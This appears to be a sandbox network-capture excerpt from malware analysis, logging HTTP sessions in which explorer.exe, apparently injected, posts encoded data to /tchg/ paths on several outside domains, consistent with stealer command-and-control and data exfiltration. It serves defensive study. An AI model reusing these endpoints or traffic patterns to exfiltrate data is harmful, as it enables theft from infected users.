O0qEM=FgCEJ5Fgf_XORzp-ksepw2jDo-7BA5dHt7DBQPKC2WtWjDMPWl8iXc5QKZuIYEKmbngG31LDU3aIEXxl5Jc_FLwP6Hhk02eTr8csi5RsCd3XebgG0VrigmZmU9IzzSg25S(dW5EOnKUW39fpWqBQP3urtcwSOou0c6QX4pSGLCWxtkXRZIO3Q_nR9FreHpPBq-9OCP7Y8R8V0c3_QGyOtS17831ZHBxkZYxgulLpkyNjzPCzr9BAcbu6GsZBXHrp(1aHbUyaTgf4UyLilrcfuUvkJB(fnYLWlgaNiWRnltSrCf3fJHjSUIXnTocw~dPdK6w0OYQos3rYEjTE6DIcFkc_21ZCmjjXnfKOb2xWUqC1H_glbeQ15PG6V2Ki3455XMZ4vBITLtkS8jZ1XJg_WXAzvS0ioZyB62kVOBWL1e0nTsXBVsiF8FjEH_i2vxD8ZThI0_fNBYbmrad5wvEXPSLzrbvgxJTZpvg8~yIPyeYJJO2e6srPtJw7vegn3y8zbWm9~G8.
May 30, 2023 11:14:07.456044912 CEST	1944	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.20.1 Date: Tue, 30 May 2023 09:14:07 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.11.20	49770	23.104.137.185	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:35.466717005 CEST	453	OUT	POST /tchg/ HTTP/1.1 Host: www.tsygy.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.tsygy.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.tsygy.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 77 5a 70 44 62 4c 57 31 62 64 51 48 36 50 68 4a 62 4d 56 79 52 51 56 6e 55 31 62 64 64 77 65 50 43 33 70 34 4e 6a 70 30 72 49 57 42 76 43 39 55 68 2d 70 67 64 74 6d 7a 76 6b 79 33 51 66 48 50 4a 38 37 5f 55 36 32 7a 4a 44 4a 7a 33 72 75 46 6b 5a 53 47 6f 38 42 39 4a 67 68 39 4c 49 4b 41 6c 35 79 32 41 34 44 58 7a 55 69 5f 56 53 28 53 6e 57 6e 51 6f 6e 64 4e 4a 6f 6c 37 57 41 77 6f 74 66 57 78 44 4c 61 45 31 78 30 4e 56 70 44 7a 48 76 6f 42 57 33 6c 59 7a 68 6c 55 57 62 55 76 31 42 51 35 37 6a 76 39 7e 63 35 43 69 42 38 79 32 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=wZpDbLW1bdQH6PhJbMVyRQVnU1bddwePC3p4Njp0rIWBvC9Uh-pgdtmzvky3QfHPJ87_U62zJDJz3ruFkZSGo8B9Jgh9LIKAl5y2A4DXzUi_VS(SnWnQondNJol7WAwotfWxDLaE1x0NVpDzHvoBW3lYzhlUWbUv1BQ57jv9~c5CiB8y2A).
May 30, 2023 11:08:35.634145975 CEST	453	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Tue, 30 May 2023 09:08:32 GMT Connection: close Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 04 00 0d 0a Data Ascii: a
May 30, 2023 11:08:35.634517908 CEST	454	IN	Data Raw: 32 61 66 0d 0a c5 55 3f 73 d3 30 14 ff 2a c6 3d 48 7b d7 c4 92 25 39 96 9d 78 29 cc 30 74 61 74 6d 25 11 75 2c 63 2b 75 d2 91 8d a1 ac 2c 4c b0 74 68 cb c0 50 0e 8e eb 97 81 36 4c 7c 05 24 d9 40 da 2b 3d b8 eb 5d 3d f8 67 e9 fd fb e9 bd a7 e7 1f Data Ascii: 2afU?s0=H{%9x)0tatm%u,c+u,LthP6L\|$@+=]=g>~5,5fy5'RuQOcRJh X`BFEU\z05zCO(1)op2@KI?8)lQ2l+dwMKSV%%/$%E?jd
May 30, 2023 11:08:35.634553909 CEST	454	IN	Data Raw: 38 0d 0a ee 6a 61 23 a4 06 00 00 0d 0a Data Ascii: 8ja#
May 30, 2023 11:08:35.634582043 CEST	454	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.11.20	49869	213.171.195.105	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:14:09.979192972 CEST	1950	OUT	POST /tchg/ HTTP/1.1 Host: www.arrangeabreak.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.arrangeabreak.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.arrangeabreak.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 46 67 43 45 4a 35 46 67 66 5f 58 4f 52 7a 70 2d 6b 73 65 70 77 32 6a 44 6f 2d 37 42 41 35 64 48 74 37 44 42 51 50 4b 43 32 57 6c 57 6b 78 55 50 57 47 6b 69 57 63 35 51 56 70 75 46 59 45 4b 72 62 6e 49 43 33 31 48 39 55 30 79 49 46 48 42 6c 34 38 6f 5f 41 4c 77 4f 6a 48 68 6d 77 32 66 45 72 38 67 34 69 34 31 61 42 73 54 58 4d 73 6b 47 6c 53 66 6a 28 47 5a 6b 55 39 49 33 33 53 68 44 35 53 4b 43 57 35 41 4f 6e 50 55 57 30 72 62 70 55 39 74 51 49 6e 75 6f 6e 38 78 53 45 49 75 56 63 36 56 6d 34 70 53 73 4c 47 75 78 74 6a 72 52 59 50 69 30 51 66 6e 52 7e 46 72 66 4d 4a 44 46 71 2d 4a 57 43 50 50 59 38 57 41 56 6c 4d 33 5f 41 33 79 4e 6b 53 31 35 33 58 31 30 4e 52 39 38 5a 59 6c 30 75 6b 76 70 6b 69 5a 6a 7a 34 75 7a 70 66 35 41 53 62 75 34 49 4d 59 62 64 6e 72 50 28 30 32 62 62 56 54 74 54 69 7a 34 56 54 48 69 31 61 63 59 73 30 76 39 4d 42 28 4f 6a 59 33 4b 6c 67 72 53 69 57 52 33 6c 76 7e 72 43 73 28 66 49 46 62 56 56 34 58 73 66 49 63 6c 6e 4e 4c 48 4b 37 63 76 4f 59 4a 74 73 32 6a 59 45 44 54 45 38 67 51 44 51 6b 63 38 36 56 5a 51 37 7a 6a 6d 6e 66 47 30 62 33 30 68 42 4f 79 31 46 50 77 6c 63 4f 51 30 7a 50 47 2d 63 57 4b 34 68 49 35 35 58 4d 56 4e 76 41 30 54 4b 65 34 53 39 51 52 31 55 75 4d 5f 51 58 41 31 76 53 30 7a 6f 5a 7e 62 36 77 38 37 4f 43 65 31 31 63 59 6e 64 5a 37 42 57 70 43 43 33 56 6a 64 44 5f 6a 77 68 52 7e 6d 5a 58 41 45 30 5f 75 36 42 4c 50 6d 35 4b 4e 35 68 5f 45 57 4a 79 4c 30 37 72 75 68 67 35 50 56 70 76 74 4a 7e 79 4d 66 79 5a 73 4a 5a 34 6e 6b 67 39 44 43 77 37 77 74 6b 59 73 65 28 68 41 49 66 44 36 33 69 78 70 5a 77 55 6b 69 46 74 75 39 62 44 4f 65 67 54 35 42 68 4b 6c 68 78 42 39 76 6e 79 30 75 77 6e 48 56 34 63 42 55 62 38 6b 77 48 4d 39 47 66 38 71 6c 77 6c 4e 4a 48 39 65 68 68 62 46 4b 45 48 38 73 56 4a 74 33 4e 56 47 30 54 70 5a 33 4b 76 69 6c 74 6d 53 63 38 41 4e 69 6f 42 52 57 79 66 50 4b 71 42 65 68 79 32 59 63 6c 45 54 74 57 2d 69 69 76 5a 61 74 6a 55 28 6f 57 51 72 4b 68 61 35 70 78 35 7e 47 74 62 64 37 50 5a 58 64 6f 6d 4b 57 36 48 35 44 68 54 56 34 32 43 62 41 57 79 43 69 50 79 39 32 63 42 45 76 31 41 53 55 39 75 63 36 49 52 4f 75 58 4e 76 34 37 63 59 34 7a 45 4f 31 52 62 52 6e 44 76 49 77 79 2d 30 72 74 36 48 52 42 33 33 78 77 42 51 6e 54 7a 59 59 41 58 69 71 32 63 58 63 6a 71 54 63 6e 6a 42 71 6a 45 63 45 50 74 30 39 47 61 46 36 55 68 50 65 54 78 65 5f 62 73 77 64 55 77 53 56 39 31 56 6b 4c 57 63 56 31 69 6c 48 6f 63 31 73 41 4b 38 39 39 6b 47 74 75 65 36 57 55 70 7e 36 33 62 76 44 63 54 31 70 43 4c 69 47 4e 6d 6d 47 28 33 44 4c 52 35 6a 72 28 42 6a 75 58 64 31 65 34 57 47 71 54 74 6f 30 6e 7a 61 45 4d 6f 77 39 30 58 6d 69 5a 2d 76 5f 49 55 59 54 66 64 69 38 4f 56 76 5f 4d 42 43 75 65 5f 46 6a 77 35 68 63 4f 4a 49 49 47 44 54 46 4c 38 4e 44 50 46 41 73 74 78 68 4e 62 64 4b 30 7e 74 6f 44 74 46 39 79 71 37 51 52 37 44 6f 32 6c 67 65 73 7e 74 41 6d 39 75 59 58 63 58 71 61 52 77 4a 43 4d 49 63 47 35 6b 6d 37 72 48 59 4f 37 63 66 4a 34 65 31 6e 54 52 47 78 73 55 66 50 76 78 48 61 6b 6f 59 76 67 62 4b 75 53 4a 31 6b 35 71 42 65 71 66 41 64 59 4d 50 52 66 6a 65 62 28 69 35 49 4c 71 33 67 4b 43 59 4e 37 4b 72 2d 4a 77 73 51 6e 30 63 70 44 49 41 39 28 5f 53 47 42 6c 75 49 35 4b 66 59 52 2d 69 42 33 6b 38 70 4b 59 4b 44 43 45 45 76 71 64 5a 31 51 77 76 59 45 53 52 72 37 50 48 6d 6b 48 41 62 62 4f 32 4b 7a 4e 4c 52 37 51 6d 65 59 74 52 73 55 66 48 55 56 35 6c 36 5a 34 74 63 49 6a 30 31 32 55 6d 72 70 30 33 70 69 5a 28 58 44 4c 70 59 45 46 67 37 6d 61 77 54 66 45 78 6d 75 6b 70 38 7e 31 79 5f 70 4f 48 30 78 33 4b 66 52 63 4f 68 5a 33 5a 70 53 37 50 39 4d 31 4e 58 39 71 33 62 45 6c 67 37 70 47 34 54 74 4f 54 5a 4c 51 47 5f 31 73 32 43 45 44 44 72 69 67 49 33 39 69 6b 37 28 6e 37 6a 48 6c 69 79 30 61 6b 79 49 4c 6e 74 6f 39 66 43 73 6d 51 64 36 75 53 38 79 50 52 34 7a 5a 53 6a 4b 6f 65 52 47 7a 50 4f 37 4f 56 42 30 74 61 44 5a 37 57 57 4d 55 72 4a 36 50 6c 42 7e 50 68 79 67 76 28 61 43 34 44 6b 59 6e 76 39 4a 49 35 4d 66 75 55 36 6c 6a 33 4c 36 4a 41 36 38 67 56 49 32 76 54 7a 4f 75 4f 58 77 6b 67 61 49 31 63 76 53 50 38 59 70 69 79 37 70 66 78 48 57 70 65 55 6f 77 63 73 37 Data Ascii: O0qEM=FgCEJ5Fgf_XORzp-ksepw2jDo-7BA5dHt7DBQPKC2WlWkxUPWGkiWc5QVpuFYEKrbnIC31H9U0yIFHBl48o_ALwOjHhmw2fEr8g4i41aBsTXMskGlSfj(GZkU9I33ShD5SKCW5AOnPUW0rbpU9tQInuon8xSEIuVc6Vm4pSsLGuxtjrRYPi0QfnR~FrfMJDFq-JWCPPY8WAVlM3_A3yNkS153X10NR98ZYl0ukvpkiZjz4uzpf5ASbu4IMYbdnrP(02bbVTtTiz4VTHi1acYs0v9MB(OjY3KlgrSiWR3lv~rCs(fIFbVV4XsfIclnNLHK7cvOYJts2jYEDTE8gQDQkc86VZQ7zjmnfG0b30hBOy1FPwlcOQ0zPG-cWK4hI55XMVNvA0TKe4S9QR1UuM_QXA1vS0zoZ~b6w87OCe11cYndZ7BWpCC3VjdD_jwhR~mZXAE0_u6BLPm5KN5h_EWJyL07ruhg5PVpvtJ~yMfyZsJZ4nkg9DCw7wtkYse(hAIfD63ixpZwUkiFtu9bDOegT5BhKlhxB9vny0uwnHV4cBUb8kwHM9Gf8qlwlNJH9ehhbFKEH8sVJt3NVG0TpZ3KviltmSc8ANioBRWyfPKqBehy2YclETtW-iivZatjU(oWQrKha5px5~Gtbd7PZXdomKW6H5DhTV42CbAWyCiPy92cBEv1ASU9uc6IROuXNv47cY4zEO1RbRnDvIwy-0rt6HRB33xwBQnTzYYAXiq2cXcjqTcnjBqjEcEPt09GaF6UhPeTxe_bswdUwSV91VkLWcV1ilHoc1sAK899kGtue6WUp~63bvDcT1pCLiGNmmG(3DLR5jr(BjuXd1e4WGqTto0nzaEMow90XmiZ-v_IUYTfdi8OVv_MBCue_Fjw5hcOJIIGDTFL8NDPFAstxhNbdK0~toDtF9yq7QR7Do2lges~tAm9uYXcXqaRwJCMIcG5km7rHYO7cfJ4e1nTRGxsUfPvxHakoYvgbKuSJ1k5qBeqfAdYMPRfjeb(i5ILq3gKCYN7Kr-JwsQn0cpDIA9(_SGBluI5KfYR-iB3k8pKYKDCEEvqdZ1QwvYESRr7PHmkHAbbO2KzNLR7QmeYtRsUfHUV5l6Z4tcIj012Umrp03piZ(XDLpYEFg7mawTfExmukp8~1y_pOH0x3KfRcOhZ3ZpS7P9M1NX9q3bElg7pG4TtOTZLQG_1s2CEDDrigI39ik7(n7jHliy0akyILnto9fCsmQd6uS8yPR4zZSjKoeRGzPO7OVB0taDZ7WWMUrJ6PlB~Phygv(aC4DkYnv9JI5MfuU6lj3L6JA68gVI2vTzOuOXwkgaI1cvSP8Ypiy7pfxHWpeUowcs746IIOL-3yNy6JzFWitMF3snJCn9x48djfUErUZHWONGljzLpCgdbGl4hJfH27lRIyqtgzNYwUU0nUW8eV(rRdVmUrGUQgbKRXi5YPQvm0bRmSuPInrEdqTt7lqV44ON3e43HMNdbttlfcRoXrErVuZlMoAt4DPxSpapNzfYfuYfr81InTa9yiR8WGZNhUKdQ7CauTG0Lul-2EQO31FRuXqTn-vhvHvCjcr0JIF-EteV5xW_F5y7dku9i2pvu5uEWIaG7zlNgWESvGebf9I2dQiP7uC5UT~POkpjbdn39msdrR2w7iUfO2KU67LVhKz5ya2ZbDgfThKfmvxMEWwBVfZfmeyJQs9nZ6A_IWT3Q9ofvAzvOjLQSN00WNqoc3ZbgHgBooiq4thZeIKL1-vzn0lNolEYEMrcwFFtTolAn-0CKQ3HlzGmwmDdPVZyNe8dT1m7eYxIQMogcLmIdb79G8IGZnQ9T03zJ9ykUqgEEVzmuoRJPxzcPfjhbE8xmaGM2EhTbJDwwy18EaT8fjnD4ODFPLLp07aVo6oO0-8qK-DSgCQqgS2nPFJw0mdBMwVRdHWS7t6MXrGrfZbqg_9vHYq0XF7P1FOtuADUyId75FgfU4c1wOSkhjJodhJvGO1N1qNCWnn7xHixaumL4G7oaKdhJcYfaFjDvvqQRdzdizLyp7CLHrgm01lbUwTNcLuwSaKuk8pivaQHFyQ1YVHF3N9_qcJoXav7os9qdwXphJuCCmKY(2zGeRGhyGtY7YUWqhBKR3fM(aeurUxWiDrxEEROlHK74hFRdnDJk8pHAnpJTq7_IkF46SBIa58HTboAOift9wz7KTfCRESNcPHJ4hj3DHJjpWU0YVH-pRDYxc8abIedaVjPTUcbfDpteBVKP5iVgwFo6xE4O5DawhvdIlMvIqzy3PmNLVuLLNDuyX4Rp_BtQpedluojIXVU0w~wzzhlJ57siWZuHcAv(_MWWdOMhUcOgyKVTgntNO4ODxDk6wN58Gqibu2pTvDgqozmad1645EYfnvPSkDf15(TztvBLdBPmqIabK5uosSXlY8G0M(dKuaWbqOEGYx_KF7pdWS4HpFz0dy5~VhWy4~HJdGRbfVi95ms96F97pj6yR3UeQVPqbEls21ymDCJajFErPjPS4jv49XVy6pK5Q(zXEqjgJ0Joy(mx8YDhP5SEtQL~iKS8sWVTlwcY_7ZnSvZNAJN~y3R5_Vr9ik8NRQX(U7AhpN_Uv389LL1O2IueKFTEHfHKuUveAzYxyPnZo0mKFLDqPYrvTOrQOSibnzfXLaeDMshm2KWaj2xgBvkQBCsD_XNoFqCyW68s1fUkZ3WRmdOYETAWNRL5Sa9pJTlLofZeJvVvQEu~IhAnEli3L(8FJ~C4emub1QgSv9EyT(Tkqdk7HfR0CDM2gIqU7fcgH60xtBRF6G065ZDr4zAfNjCiYSXB1ERtCxEyeIFgCG6dz4_djjzOVSAV3jIqBn4JrVm2z3gDBVs8ihYsTZ1yvEtciV6xiaKozccoGX2Q_SH8kL1CEhFoIslhTnVv6lPewHRWXLxWvzPG_3pgb4yC3zMgv1wUM7vEfHnL61DJBjDxFTCBr4x~z0pJxxOVZCt7B3dPDj0xktgvFJxcsfY3QXFa7EbtYKLGmkdM_eFu3wsQpDUgMZXH0BZYaTDe9cRp-bSQwZbnvuD60RkRE7LOpsAiCprVrQ7r5NfLR3JiK899lwToV968AgwPxqS5KpuHTc1u8zuDZ59~aV2eNhlRd9XwEj_ubofOpU0O3RMpQMRGXyPdpV7SozaFp7qCIioYGZIRF4wGFNo3mJcW0sMrnJXhaVFZ9olSccZrwQn491VZS2yUgheFhidmN0pLJvKJOs5OoyN79fm3uvgiXw-WFLOEggdW1pg(BT20YSe2eIlbuac8yX_eFqMPWop5V9OS_9j7yUXNQX9ryesUREmoC2g~WMeGdMwIKMdVUJTQCdbQa9EXSdWubbMLgps1MluJsC-Vv5b4gBzk5W28SWpNaSJBzsT6FBhYePsdAI9052tMHxjectdJWglOFA0Pdyh8HT1uOYKiHdpq2cKU_q17o1dd2iuJe6brhw70dxoEswCl7oFmVyohPduZgNb2-n61fZjm60YTIcBPBQ7(pW27w5J90Q0FuI-r9f9TKBgVWB2PJvWNOUz6M4LBknziPUYtW2Gg2ryiw6KDZ6SyumiE2Wqb5(TdSdEMhU7BaVDzvXtN-SyWQjCzxskxW7Mg3jC9-HKo2SHFku6oPmnY3MsLjSgsRiiOm(StlPv2SEKS2~gu5Z7WF7dNjGfPPuW3IcXgBEnxN8wwYUUhDA32tytP7kkTzlnSYQjUBOo2Wf6F64kn1osGBJ2UhQEQOu9aHeF4UTJjZcd2BVNKdSUFoIDqsnWYHRQD68CVz7er9XBv9f4NtHYOiCBaWhwJoJXuTuG5c1Bp0dXU7TQCEh0rvWdVUCZjq3aJuxL0zEfLm0ViYhLOrn_YXxFrBnfPBpxJlQValhmzSLbZMv57UkqEAVq42N1bUuGiTJTQH2gNXPUZQ6SDjFwv8ebEiAhGoudJ6t4mk36WyDrEUgP0_oZedrcFK8esuhwLXjJVKdbGd4EwlaV~ApU3aoPTtRQ5pyLK-QY7gnN9GfU7nIgf29Bcrv2Qe19TEmC3435DWJRCdRtrhU1fgAUZfmqMtF6Qw(SY3aXOPinX8Dh~7StTZHB
May 30, 2023 11:14:09.979279041 CEST	1957	OUT	Data Raw: 38 32 61 62 59 69 4a 30 6c 51 42 51 7a 52 34 33 42 61 79 46 6c 52 52 52 75 75 77 56 69 30 61 46 57 6c 61 44 68 4e 56 6e 4e 47 35 45 76 76 68 53 58 73 6b 28 6f 67 76 75 4c 33 55 77 47 46 78 6d 76 4f 56 48 77 6a 57 41 6e 45 69 61 70 71 79 45 65 51 Data Ascii: 82abYiJ0lQBQzR43BayFlRRRuuwVi0aFWlaDhNVnNG5EvvhSXsk(ogvuL3UwGFxmvOVHwjWAnEiapqyEeQOJ9iIolqS(I0Egno4k9h_YM(5Nk4chTrV2we7oY1gc4HXQG(Slaiuu90yBrHkhR6HJv6oWyvv8JUpAAeTcoDPKyrOmYzqLA543hwBKkGlWdvdLp9lIBFe(4UyH50AdQQTj-wejEH8Z5lr3DGIsONXjcZstB5FSsuT
May 30, 2023 11:14:10.004235029 CEST	1957	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.20.1 Date: Tue, 30 May 2023 09:14:09 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.1</center></body></html>
May 30, 2023 11:14:10.004406929 CEST	1960	OUT	Data Raw: 5a 5a 65 78 4c 4d 39 4b 71 58 30 52 7a 35 68 66 5f 53 4b 47 2d 6a 69 61 76 73 6b 6c 55 43 44 43 30 33 74 45 55 50 61 48 41 56 74 35 32 70 55 61 44 44 55 6e 55 4c 6a 6e 4b 4f 33 6f 52 51 4f 72 76 7a 57 31 2d 57 50 77 30 6f 4c 51 5f 6b 43 52 47 41 Data Ascii: ZZexLM9KqX0Rz5hf_SKG-jiavsklUCDC03tEUPaHAVt52pUaDDUnULjnKO3oRQOrvzW1-WPw0oLQ_kCRGAa4aVf8ThkexRZb6ChhzLV3ydoew0au6RSI3C-aGZR72SfzPBIOQEv6y~E12WsDLSk(iTFuo8RFB4VUgOihb6pXo33f4FBeVlNMq3gm3aNCBaQbqS_q5qQS_TtbkUl84ON4KhWlqP2xbDhVcji(4BP5koD6Gto3tY5
May 30, 2023 11:14:10.004585981 CEST	1967	OUT	Data Raw: 33 4c 43 70 68 72 6e 4d 42 30 47 4f 54 30 70 34 35 41 59 6e 55 72 4e 67 42 6d 2d 4c 4c 71 31 64 6e 6f 47 4d 55 4c 30 31 43 39 58 7e 70 4c 35 52 79 65 7a 42 7a 34 55 44 46 38 6e 55 76 72 6e 46 4e 45 4f 79 74 49 69 43 2d 68 38 50 55 55 76 55 34 48 Data Ascii: 3LCphrnMB0GOT0p45AYnUrNgBm-LLq1dnoGMUL01C9X~pL5RyezBz4UDF8nUvrnFNEOytIiC-h8PUUvU4HEGfJJ5DOCpyb7nrpcIEruIhTsPNrJ7nDUThJvsReD~pk_KVTrcyA_jRyc8PGZcCTJxZPGxadZtVMGAh7VlQP853wrBj~bjhvFKPH4OylY8ulF53qpAE4Q87IeE2wQFVtMxv0IoWJ1DPLgEcqQX3KLYcbqDLt6fcyf
May 30, 2023 11:14:10.004776001 CEST	1982	OUT	Data Raw: 6d 51 71 77 52 75 49 6b 37 64 79 72 77 35 47 72 69 51 41 41 36 65 78 66 55 41 74 47 51 56 31 73 51 34 43 6b 74 32 62 31 4d 59 53 50 41 65 75 42 70 6b 67 37 37 73 4e 45 4f 37 76 70 4c 44 51 58 4e 54 4b 62 50 45 39 47 53 35 53 4a 64 75 31 49 4c 4f Data Ascii: mQqwRuIk7dyrw5GriQAA6exfUAtGQV1sQ4Ckt2b1MYSPAeuBpkg77sNEO7vpLDQXNTKbPE9GS5SJdu1ILO_PRbgwPrjO-x-fVctHH3GAq8hE6ger_3Fbc4-7iovmDTYhpHNznde5Es511TNN1OJ2JAUJgXegjThtCpn~rr0FdD1uRsBlo8E4samOjpVcwjyGm~VAVjLigGdKO6hWgEApxc5D-nE~6Y8GNdhGOsqs8d5MLINZyQE
May 30, 2023 11:14:10.029383898 CEST	1988	OUT	Data Raw: 77 39 4c 51 35 6b 61 41 66 34 63 42 6b 41 49 67 44 39 31 36 4f 4b 47 32 54 43 4a 71 50 30 2d 77 38 4b 61 4f 5f 5a 52 65 61 34 75 35 6b 33 33 4e 34 76 34 59 4a 6e 4d 68 39 55 56 34 59 59 45 71 51 56 4d 28 37 78 36 4d 56 71 44 6b 54 6e 4c 7e 41 78 Data Ascii: w9LQ5kaAf4cBkAIgD916OKG2TCJqP0-w8KaO_ZRea4u5k33N4v4YJnMh9UV4YYEqQVM(7x6MVqDkTnL~AxyAdZFoZ4H5pBcICHo9LCgCadhZZ3QOocLqdvhfV5Kn9wz1V1X0E~Ef_38H3g61aUqbjLDhx3EwTie(ZecurUM2r0YDnhgzsJPGEgzqibVTOOlDO5NybBEdCOoDPvih9b7lYnezdPvj6Pkz1~1ptN_LBPcxTDBXuaG
May 30, 2023 11:14:10.029495001 CEST	1993	OUT	Data Raw: 77 4e 6a 67 4f 48 4b 36 5f 41 45 68 62 28 6b 59 39 6f 57 75 57 58 41 41 6d 75 72 64 5f 67 6e 31 72 33 4c 6b 52 4e 6d 52 5a 68 2d 68 51 5a 39 78 6e 64 4b 42 76 71 4a 4c 58 52 56 53 6f 36 6c 38 76 35 57 56 65 54 38 69 77 6d 6c 6c 58 48 42 30 43 38 Data Ascii: wNjgOHK6_AEhb(kY9oWuWXAAmurd_gn1r3LkRNmRZh-hQZ9xndKBvqJLXRVSo6l8v5WVeT8iwmllXHB0C8Hz99tBlP48BNfsUzDxeqoPBaeceutP8h0yXOy0fNA9IB4rJmg0lHRAg6FvMwZLoDos58W(9fHVbZ5UpJIHbZKre7aUARYEGGlly8AZ1g1gLwZne~Qzf1bPbkuoDjGGvfPvFSMW7yylepdfthgDXIjhrpmY5fFGB6e
May 30, 2023 11:14:10.029819965 CEST	1995	OUT	Data Raw: 77 46 63 6c 4e 28 73 36 56 35 36 71 6f 66 38 44 79 73 51 55 31 50 36 4b 5f 79 76 56 56 79 53 39 5a 6e 74 68 71 46 59 7e 55 49 4b 6a 41 6f 45 68 48 48 39 6b 69 31 58 49 74 32 37 53 71 37 4e 57 72 51 48 6c 34 61 51 28 5a 6f 4b 42 51 65 4f 59 36 59 Data Ascii: wFclN(s6V56qof8DysQU1P6K_yvVVyS9ZnthqFY~UIKjAoEhHH9ki1XIt27Sq7NWrQHl4aQ(ZoKBQeOY6Y8IJdTRXv4O6MKBD83TMbSwxBeRgOqd3ftPh94(4s00QBAyIdeIHn6GhuCFk9-VR7_VSv2LhZL1zZGEYVSeeui6zLhHzb0uptKO5iL8isiD5ISc4ioPUabqskkRYWqRLrAZVpiUJ7paQEFiOcuEcWk0ra7zTneu5OI
May 30, 2023 11:14:10.029985905 CEST	1996	OUT	Data Raw: 4b 5a 33 62 67 6f 70 6d 49 76 5a 79 57 66 6f 63 31 53 56 54 56 59 4b 50 79 61 71 6d 65 4a 48 32 4d 52 42 7e 7a 46 68 34 67 6d 33 7e 76 37 35 7e 37 34 50 34 43 33 6a 6c 42 4b 2d 59 5f 46 6b 38 7a 44 63 6a 4c 42 63 35 42 7a 43 67 67 75 31 4b 59 54 Data Ascii: KZ3bgopmIvZyWfoc1SVTVYKPyaqmeJH2MRB~zFh4gm3~v75~74P4C3jlBK-Y_Fk8zDcjLBc5BzCggu1KYTJd7K-XVQKDglUSA~1Zd7XYq1Tv0gvyoVqMVtjDD~Yw33KGxULjbJX0TQTB9GUkKT31A2BC8QQz0XVmUkK8EU33oq_fI2aVZqLSSSiXvvIHmSXxYD7sKVguzpFeGtQ4kKB0x88wSLeWo(wo9Ieb_9sNNZyALTEvXum

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.11.20	49870	213.171.195.105	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:14:12.524616003 CEST	1997	OUT	GET /tchg/?2ax=jRqfPy4_lz2&O0qEM=IiqkKM0fZYbcVAhAnum4m1H4t/7jN9R9rdXOIOC6/CZopBQ7QWkcbeNISYKTY0qHDgk4y1fleDCOJFlZ6etMDJwjph9a+HDsvg== HTTP/1.1 Host: www.arrangeabreak.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:14:12.549288034 CEST	1998	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 30 May 2023 09:14:12 GMT Content-Type: text/html Content-Length: 6486 Last-Modified: Tue, 10 May 2022 13:33:35 GMT Connection: close ETag: "627a69af-1956" Accept-Ranges: bytes
